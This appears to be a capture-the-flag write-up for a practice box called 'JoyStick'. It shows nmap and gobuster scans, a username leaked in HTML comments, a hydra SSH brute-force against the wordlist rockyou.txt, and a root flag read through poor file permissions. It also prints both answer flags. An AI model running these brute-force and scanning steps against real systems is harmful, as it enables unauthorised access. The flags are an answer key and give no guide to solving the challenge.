

JoyStick



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Anyone want to play?

[Task 1] Root it!

Root the box, get both flags.

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#1

User flag

flag{is_only_gaem}

#2

Root flag

flag{poorly_configured_permissions}

nmap-scan

PORT STATE SERVICE VERSION

21/tcp open **ftp** **vsftpd 3.0.3**

|_ftp-anon: got code 500 "OOPS: vsftpd: refusing to run with writable root inside chroot()".

22/tcp open **ssh** **OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)**

|ssh-hostkey:

| 2048 c7:ce:5d:fa:24:68:3a:10:63:f9:28:1b:f4:6d:e5:bc (RSA)

| 256 6b:7b:f5:12:e0:db:bb:b0:ca:f8:f8:c0:84:bc:27:e6 (ECDSA)

|_ 256 1b:d4:20:23:d0:5b:32:16:ad:c2:a9:cd:99:1c:e6:6e (ED25519)

80/tcp open **http** **Apache httpd 2.4.18 ((Ubuntu))**

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: JoyStick Gaming

Service Info: OSs: Unix, **Linux**; CPE: cpe:/o:linux:linux_kernel

gobuster-scan

/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)

interesting-things

found in source of home page:

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<!-- Zach, I don't care that you named your user steve. You still need to  
finish making the website -->  
<!-- Great, and now the FTP server just doesn't work. Just another great idea after  
your failed irc chat. Why would we use that when we have in game chat?  
Not to mention that I know you still haven't reset your password. -->
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writeup

-----user-flag-----

--ran **nmap -sC -sV <IP>** and found open ports **21**, **22**, and **80**.
--ran **gobuster -w common-dirs.txt -u http://<IP>**.
--found username **steve** in source code of home page, and also says FTP is disabled so Ill ignore it.
--ran **hydra -l steve -P rockyou.txt <IP> -t 64 ssh**:
[22][ssh] host: 10.10.13.74 login: steve password: changeme

--logged in to ssh with **ssh steve@<IP>** and password **changeme**
ran **cat user.txt** and got flag:
flag{is_only_gaem}

-----root-flag-----

--tried **sudo -l** command with no success, so I started poking around and noticed I was able to get into the **/home/-notch** directory
--and due to poor permissions I was able to read the **root.txt** file without escalating priveleges
--ran **cat /home/notch/root.txt**:
flag{poorly_configured_permissions}